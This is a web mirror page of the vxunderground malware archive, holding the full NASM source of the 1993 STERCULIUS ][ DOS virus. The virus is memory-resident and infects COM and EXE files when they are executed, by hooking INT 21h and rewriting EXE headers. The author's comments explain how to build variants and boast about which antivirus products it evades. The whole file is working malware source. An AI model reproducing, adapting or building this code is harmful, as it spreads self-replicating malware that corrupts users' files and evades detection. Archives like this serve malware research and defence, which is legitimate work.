mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-25 04:45:27 +00:00
518 lines
14 KiB
NASM
518 lines
14 KiB
NASM
|
comment $
|
|||
|
|
|||
|
STERCULIUS ][ VIRUS
|
|||
|
|
|||
|
|
|||
|
This is an 'upgrade build' of CRYPT #18's STERCULIUS virus.
|
|||
|
I have made some changes, in particular STERCULIUS ][ now infects
|
|||
|
EXE files as well as COM files.
|
|||
|
|
|||
|
The procedure to infect EXE files is rather simple:
|
|||
|
|
|||
|
Sterculius installs itself and its INT 21h handler in the memory
|
|||
|
'hole' located after the interrupt vector table (reference:
|
|||
|
CRYPT #18). The INT 21h handler checks when a file is executed;
|
|||
|
then it opens it and determines whether it is a COM or an EXE
|
|||
|
file by checking for a 'MZ' or 'ZM' at the beginning of the file.
|
|||
|
|
|||
|
After the nature of the file has been determined, the virus proceeds
|
|||
|
to read to EXE header and to modify the entry point field (CS:IP)
|
|||
|
and the size of the load module/file (how many bytes get loaded from
|
|||
|
the file to memory) on the header.
|
|||
|
|
|||
|
Then, infection takes place and the new EXE header is written to
|
|||
|
the file.
|
|||
|
|
|||
|
Note that no change is made to the stack segment and the offset of
|
|||
|
the original EXE infected file (SS:SP); in other words the virus
|
|||
|
does not have its own stack segment and offset. I considered this
|
|||
|
to be unnecessary since all well written EXE programs have a stack
|
|||
|
segment (SS) far up in memory from the code segment (CS). The
|
|||
|
danger of the virus corrupting itself when using the stack is
|
|||
|
non-existent, considering the size of the virus and the fact that
|
|||
|
on the installation part of STERCULIUS ][ the stack is barely used.
|
|||
|
|
|||
|
The challenge when writing this 'upgrade' was to keep the code small
|
|||
|
enough so it would work properly not corrupt the BIOS data
|
|||
|
loaded by IO.SYS / IBMIO.SYS at segment 0040.
|
|||
|
|
|||
|
Some original features of STERCULIUS have been commented out, to
|
|||
|
downsize the code, but in most cases the virus will work perfectly
|
|||
|
if they are included.
|
|||
|
|
|||
|
Here is how to make you own STERCULIUS ][ variant:
|
|||
|
|
|||
|
Variant 1:
|
|||
|
Uncomment (take out the ';' before the instructions)
|
|||
|
in the following labeled parts:
|
|||
|
|
|||
|
Save Attributes
|
|||
|
Restore Attributes
|
|||
|
|
|||
|
Compile and link.
|
|||
|
|
|||
|
Variant 2:
|
|||
|
Uncomment the following labeled parts:
|
|||
|
|
|||
|
Save Date and time
|
|||
|
Restore Date and Time
|
|||
|
|
|||
|
Compile and link.
|
|||
|
|
|||
|
Variant 3:
|
|||
|
Uncomment the following labeled parts:
|
|||
|
|
|||
|
Save Date and time
|
|||
|
Restore Date and Time
|
|||
|
|
|||
|
Save Attributes
|
|||
|
Restore Attributes
|
|||
|
|
|||
|
Compile and link.
|
|||
|
|
|||
|
|
|||
|
K<EFBFBD>hntark.
|
|||
|
|
|||
|
$
|
|||
|
|
|||
|
|
|||
|
;*****************************************************************************
|
|||
|
; STERCULIUS ][ VIRUS
|
|||
|
;
|
|||
|
; AUTHOR: K<>hntark
|
|||
|
; DATE: SEPTEMBER 1993
|
|||
|
; Memory Resident COM, EXE infector
|
|||
|
;
|
|||
|
; Success: F-prot 2.09D - VIRSTOP
|
|||
|
; VIREX 2.8
|
|||
|
; MSAV - will give warning, if 'continue' is pressed the
|
|||
|
; all infections will go undetected
|
|||
|
; -D -will install but -D will regain control of the INT 21
|
|||
|
; TBMEM 6.05 - will crash as it installs some instructions in the
|
|||
|
; middle of the hole where Sterculius ][ resides
|
|||
|
;
|
|||
|
;
|
|||
|
;*****************************************************************************
|
|||
|
|
|||
|
.model tiny
|
|||
|
.code
|
|||
|
org 100h
|
|||
|
|
|||
|
START:
|
|||
|
db 0E9h,03,00,'S' ;Jump to Virus_Entry / infection ID
|
|||
|
|
|||
|
FAKE_HOST:
|
|||
|
int 20h ;host file terminate
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
VIRUS_ENTRY:
|
|||
|
|
|||
|
call INITIALIZE
|
|||
|
|
|||
|
F_NAME: db 'STERCULIUS ][' ;The Roman god of feces
|
|||
|
|
|||
|
INITIALIZE:
|
|||
|
pop si
|
|||
|
sub si,3
|
|||
|
|
|||
|
push es ;save original ES
|
|||
|
push ds ;save original DS
|
|||
|
|
|||
|
push cs ;fix DS and ES
|
|||
|
push cs
|
|||
|
pop es ;ES=CS
|
|||
|
pop ds ;DS=CS
|
|||
|
mov bp,si ;save si
|
|||
|
|
|||
|
cmp WORD PTR [si + EXE_FLAG - VIRUS_ENTRY],00
|
|||
|
jne EXE_SKIP
|
|||
|
|
|||
|
;*****************
|
|||
|
; Restore host
|
|||
|
;*****************
|
|||
|
|
|||
|
cld
|
|||
|
lea si,[si + HOST_STUB - VIRUS_ENTRY]
|
|||
|
mov di,0100h
|
|||
|
movsw ;from ds:si to es:di
|
|||
|
movsw
|
|||
|
mov si,bp ;restore si
|
|||
|
|
|||
|
EXE_SKIP:
|
|||
|
|
|||
|
;***************************
|
|||
|
; Check if already resident
|
|||
|
;***************************
|
|||
|
|
|||
|
xor ax,ax ;AX=00
|
|||
|
mov es,ax ;ES=00
|
|||
|
mov di,01E0h
|
|||
|
cmp WORD PTR es:[di + 3],'TS'
|
|||
|
je EXIT
|
|||
|
|
|||
|
mov cx,ZIZE
|
|||
|
rep movsb ;move virus to 0000:01E0 from ds:si to es:di
|
|||
|
|
|||
|
;***********************
|
|||
|
; Mov INT 21 address
|
|||
|
;***********************
|
|||
|
|
|||
|
sub di,08 ;position destination pointer at REAL_INT_21
|
|||
|
mov si,21h * 4
|
|||
|
mov ds,ax ;ds=0
|
|||
|
movsw ;from ds:si to es:di
|
|||
|
movsw
|
|||
|
|
|||
|
;***********************
|
|||
|
; Hook INT 21
|
|||
|
;***********************
|
|||
|
|
|||
|
mov di,01E0h + OFFSET INT_21_HANDLER - OFFSET VIRUS_ENTRY
|
|||
|
cli ;disable interrupts
|
|||
|
mov WORD PTR [si - 4],di ;address of INT 21 handler
|
|||
|
mov WORD PTR [si - 2],ax
|
|||
|
sti ;enable interrupts
|
|||
|
|
|||
|
EXIT:
|
|||
|
pop ds ;restore original ES
|
|||
|
pop es ;restore original ES
|
|||
|
|
|||
|
cmp WORD PTR cs:[bp + EXE_FLAG - VIRUS_ENTRY],00
|
|||
|
jne EXE_RETURN
|
|||
|
|
|||
|
mov ax,0100h
|
|||
|
push ax
|
|||
|
ret ;return to host
|
|||
|
|
|||
|
EXE_RETURN:
|
|||
|
mov bx,ds
|
|||
|
add bx,low 10h
|
|||
|
mov cx,bx
|
|||
|
|
|||
|
add cx,WORD PTR cs:[bp + CSIP - VIRUS_ENTRY + 2]
|
|||
|
push cx
|
|||
|
push WORD PTR cs:[bp + CSIP - VIRUS_ENTRY]
|
|||
|
db 0CBh ;retf
|
|||
|
|
|||
|
;----------------------------------------------------------------------------
|
|||
|
|
|||
|
CSIP:
|
|||
|
dd 0
|
|||
|
EXE_FLAG:
|
|||
|
dw 0
|
|||
|
|
|||
|
NEW_HOST_ENTRY:
|
|||
|
db 0E9h,00,00,'S'
|
|||
|
|
|||
|
INT_21:
|
|||
|
pushf
|
|||
|
call DWORD PTR cs:[REALL_INT_21]
|
|||
|
ret
|
|||
|
|
|||
|
QUICK_EXIT: jmp QUICK_OUT
|
|||
|
RESTORE_ATTRIBUTES: jmp RESTORE_ATTRIBUTESS
|
|||
|
CLOSE_FILE: jmp CLOSE_FILEE
|
|||
|
|
|||
|
;----------------------------------------------------------------------------
|
|||
|
INT_21_HANDLER:
|
|||
|
|
|||
|
cmp ah,4Bh ;execute a file?
|
|||
|
jne QUICK_EXIT ;quick exit handler
|
|||
|
|
|||
|
push ax
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
push ds
|
|||
|
push es
|
|||
|
push si
|
|||
|
push di
|
|||
|
push bp
|
|||
|
pushf
|
|||
|
|
|||
|
push cs
|
|||
|
pop es ;ES=CS
|
|||
|
|
|||
|
;***********************
|
|||
|
; 1-Save Attributes
|
|||
|
;***********************
|
|||
|
|
|||
|
; mov ax,4300h
|
|||
|
; call INT_21
|
|||
|
; push cx ;save attributes to stack
|
|||
|
; push ds
|
|||
|
; push dx ;ds:dx = pathname to file
|
|||
|
|
|||
|
;***********************
|
|||
|
; 2-Klear Attributes
|
|||
|
;***********************
|
|||
|
|
|||
|
xor cx,cx
|
|||
|
mov ax,4301h
|
|||
|
call INT_21
|
|||
|
jc QUICK_EXIT
|
|||
|
|
|||
|
;***********************
|
|||
|
; 3-Open File
|
|||
|
;***********************
|
|||
|
|
|||
|
mov ax,3D02h
|
|||
|
call INT_21
|
|||
|
jc RESTORE_ATTRIBUTES
|
|||
|
xchg bx,ax ;file handle to bx
|
|||
|
|
|||
|
;***********************
|
|||
|
; 4-Save Date & time
|
|||
|
;***********************
|
|||
|
|
|||
|
;mov ax,5700h
|
|||
|
;call INT_21
|
|||
|
;push dx ;save date
|
|||
|
;push cx ;save time
|
|||
|
|
|||
|
;********************************
|
|||
|
; 5-Read 26 bytes / EXE header
|
|||
|
;********************************
|
|||
|
|
|||
|
mov cx,26d ;# of bytes to read
|
|||
|
mov dx,HOST_STUBB ;buffer to read 4 / 26 bytes to
|
|||
|
mov si,dx
|
|||
|
push cs
|
|||
|
pop ds ;ds=cs
|
|||
|
|
|||
|
mov ah,3Fh
|
|||
|
call INT_21 ;read to ds:dx
|
|||
|
jc CLOSE_FILE
|
|||
|
|
|||
|
;***********************
|
|||
|
; 6-Check File
|
|||
|
;***********************
|
|||
|
|
|||
|
cmp WORD PTR [si],'ZM' ;EXE file?
|
|||
|
je CHECK_EXE
|
|||
|
cmp WORD PTR [si],'MZ' ;EXE file?
|
|||
|
je CHECK_EXE
|
|||
|
cmp BYTE PTR [si + 3],'S' ;infected COM file?
|
|||
|
je CLOSE_FILE
|
|||
|
|
|||
|
mov di,OFFSET EXE_FLAGG ;mark COM infection
|
|||
|
mov WORD PTR [di],00 ;COM
|
|||
|
xor di,di
|
|||
|
jmp short SKIP
|
|||
|
|
|||
|
;***********************
|
|||
|
; 7-Check EXE
|
|||
|
;***********************
|
|||
|
|
|||
|
CHECK_EXE:
|
|||
|
cmp WORD PTR [si + 12h],ID ;infected EXE?
|
|||
|
je CLOSE_FILE
|
|||
|
cmp WORD PTR [si + 18h],40h ;WINDOWS EXE?
|
|||
|
je CLOSE_FILE
|
|||
|
|
|||
|
; cmp WORD PTR [si + 1Ah],00 ;internal overlay EXE?
|
|||
|
; jne CLOSE_FILE
|
|||
|
|
|||
|
mov di,EXE_FLAGG ;MARK EXE infection
|
|||
|
mov WORD PTR [di],01 ;EXE
|
|||
|
mov di,01
|
|||
|
|
|||
|
SKIP:
|
|||
|
|
|||
|
;***********************
|
|||
|
; 8-File PTR @EOF
|
|||
|
;***********************
|
|||
|
|
|||
|
mov ax,4202h
|
|||
|
xor cx,cx
|
|||
|
xor dx,dx ;cx = dx = 00
|
|||
|
call INT_21
|
|||
|
|
|||
|
cmp di,00 ;COM?
|
|||
|
jne DO_EXE
|
|||
|
|
|||
|
;------------------------------------------------------???????????????????
|
|||
|
|
|||
|
sub ax,03 ;fix file size
|
|||
|
mov bp,ax ;address to jump to
|
|||
|
|
|||
|
jmp short WRITE_VIRUS
|
|||
|
|
|||
|
;***********************
|
|||
|
; 9-SAVE CS:IP
|
|||
|
;***********************
|
|||
|
|
|||
|
DO_EXE:
|
|||
|
|
|||
|
push bx ;save file handle
|
|||
|
push si
|
|||
|
push di
|
|||
|
cld
|
|||
|
mov di,CSIPP
|
|||
|
add si,14h ;CS:IP in EXE hdr
|
|||
|
movsw ;from ds:si
|
|||
|
movsw ;to es:di
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
|
|||
|
;**********************************
|
|||
|
; 10-CALCULATE / INSERT NEW CS:IP
|
|||
|
;**********************************
|
|||
|
|
|||
|
mov bx,WORD PTR [si + 8] ;header size in paragraphs
|
|||
|
mov cl,04
|
|||
|
shl bx,cl ;multiply by 16
|
|||
|
|
|||
|
push ax
|
|||
|
push dx ;save filesize
|
|||
|
|
|||
|
sub ax,bx ;file size - header size
|
|||
|
sbb dx,00 ;fix upper half of size
|
|||
|
|
|||
|
mov cl,0Ch
|
|||
|
shl dx,cl ;dx * 4096
|
|||
|
mov bx,ax
|
|||
|
mov cl,4
|
|||
|
shr bx,cl ;ax / 16
|
|||
|
add dx,bx ;CS = dx * 4096 + ax / 16
|
|||
|
and ax,0Fh ;IP = ax and 0Fh
|
|||
|
|
|||
|
mov WORD PTR [si + 12h],ID
|
|||
|
mov WORD PTR [si + 14h],ax ;IP
|
|||
|
mov WORD PTR [si + 16h],dx ;CS
|
|||
|
|
|||
|
pop dx
|
|||
|
pop ax ;restore filesize
|
|||
|
|
|||
|
;**********************************
|
|||
|
; 11-CALCULATE / INSERT FILESIZE
|
|||
|
;**********************************
|
|||
|
|
|||
|
add ax,ZIZE ;add virus size
|
|||
|
adc dx,00 ;add virus size
|
|||
|
|
|||
|
push ax
|
|||
|
mov cl,09h ;2^9 = 512
|
|||
|
ror dx,cl ;dx / 512
|
|||
|
shr ax,cl ;ax / 512
|
|||
|
stc ;set carry flag
|
|||
|
adc dx,ax
|
|||
|
pop cx ;original ax
|
|||
|
and ch,01 ;mod 512
|
|||
|
|
|||
|
mov WORD PTR [si + 4],dx ;page count
|
|||
|
mov WORD PTR [si + 2],cx ;remainder
|
|||
|
|
|||
|
pop bx ;restore file handle
|
|||
|
|
|||
|
;***********************
|
|||
|
; 12-Write Virus
|
|||
|
;***********************
|
|||
|
|
|||
|
WRITE_VIRUS:
|
|||
|
|
|||
|
mov ah,40h
|
|||
|
mov cx,ZIZE ;cx = #of bytes
|
|||
|
mov dx,01E0h ;dx = write from here
|
|||
|
call INT_21
|
|||
|
|
|||
|
;***********************
|
|||
|
; 13-Set PTR @BOF
|
|||
|
;***********************
|
|||
|
|
|||
|
mov ax,4200h
|
|||
|
xor cx,cx
|
|||
|
xor dx,dx ;cx = dx = 00
|
|||
|
call INT_21
|
|||
|
|
|||
|
cmp di,01 ;EXE?
|
|||
|
je WRITE_EXE_HDR
|
|||
|
|
|||
|
;***********************
|
|||
|
; 14-Write new jump
|
|||
|
;***********************
|
|||
|
|
|||
|
mov cx,4 ;# of bytes to write
|
|||
|
mov dx,NEW_HOST_ENTRYY ;dx = write from here
|
|||
|
mov si,dx
|
|||
|
mov WORD PTR [si + 1],bp ;insert new address
|
|||
|
jmp short CONT
|
|||
|
|
|||
|
;***********************
|
|||
|
; 15-Write new EXE hdr
|
|||
|
;***********************
|
|||
|
|
|||
|
WRITE_EXE_HDR:
|
|||
|
mov cx,24d ;# of bytes to write
|
|||
|
mov dx,HOST_STUBB ;buffer to write 4 bytes from
|
|||
|
|
|||
|
CONT:
|
|||
|
mov ah,40h
|
|||
|
call INT_21
|
|||
|
|
|||
|
CLOSE_FILEE:
|
|||
|
|
|||
|
;*************************
|
|||
|
; 16-Restore Date & time
|
|||
|
;*************************
|
|||
|
|
|||
|
;pop cx ;restore time
|
|||
|
;pop dx ;restore date
|
|||
|
;mov ax,5701h
|
|||
|
;call INT_21
|
|||
|
|
|||
|
;***********************
|
|||
|
; 17-Klose File
|
|||
|
;***********************
|
|||
|
|
|||
|
mov ah,3Eh
|
|||
|
call INT_21
|
|||
|
|
|||
|
;************************
|
|||
|
; 18-Restore Attributes
|
|||
|
;************************
|
|||
|
|
|||
|
RESTORE_ATTRIBUTESS:
|
|||
|
|
|||
|
; mov ax,4301h
|
|||
|
; pop dx ;ds:dx = pathname to file
|
|||
|
; pop ds ;restore pathname
|
|||
|
; pop cx ;restore old attributes
|
|||
|
; call INT_21
|
|||
|
|
|||
|
;***********************
|
|||
|
; Restore registers
|
|||
|
;***********************
|
|||
|
|
|||
|
EXIT_HANDLER:
|
|||
|
popf
|
|||
|
pop bp
|
|||
|
pop di
|
|||
|
pop si
|
|||
|
pop es
|
|||
|
pop ds
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
|
|||
|
QUICK_OUT: db 0EAh ; jmp OFFSET:SEGMENT
|
|||
|
REAL_INT_21: db 00,00,00,00
|
|||
|
HOST_STUB: db 90h,090h,090h,090h ;4 byte COM stub / EXE HDR
|
|||
|
|
|||
|
END_VIRUS:
|
|||
|
|
|||
|
;-----------------------------------------------------------------------------
|
|||
|
|
|||
|
ZIZE equ OFFSET END_VIRUS - VIRUS_ENTRY
|
|||
|
REALL_INT_21 equ 01E0h + OFFSET REAL_INT_21 - OFFSET VIRUS_ENTRY
|
|||
|
HOST_STUBB equ 01E0h + OFFSET HOST_STUB - OFFSET VIRUS_ENTRY
|
|||
|
NEW_HOST_ENTRYY equ 01E0h + OFFSET NEW_HOST_ENTRY - OFFSET VIRUS_ENTRY
|
|||
|
CSIPP equ 01E0h + OFFSET CSIP - OFFSET VIRUS_ENTRY
|
|||
|
EXE_FLAGG equ 01E0h + OFFSET EXE_FLAG - OFFSET VIRUS_ENTRY
|
|||
|
ID equ 7777h
|
|||
|
|
|||
|
END START
|
|||
|
|
|||
|
|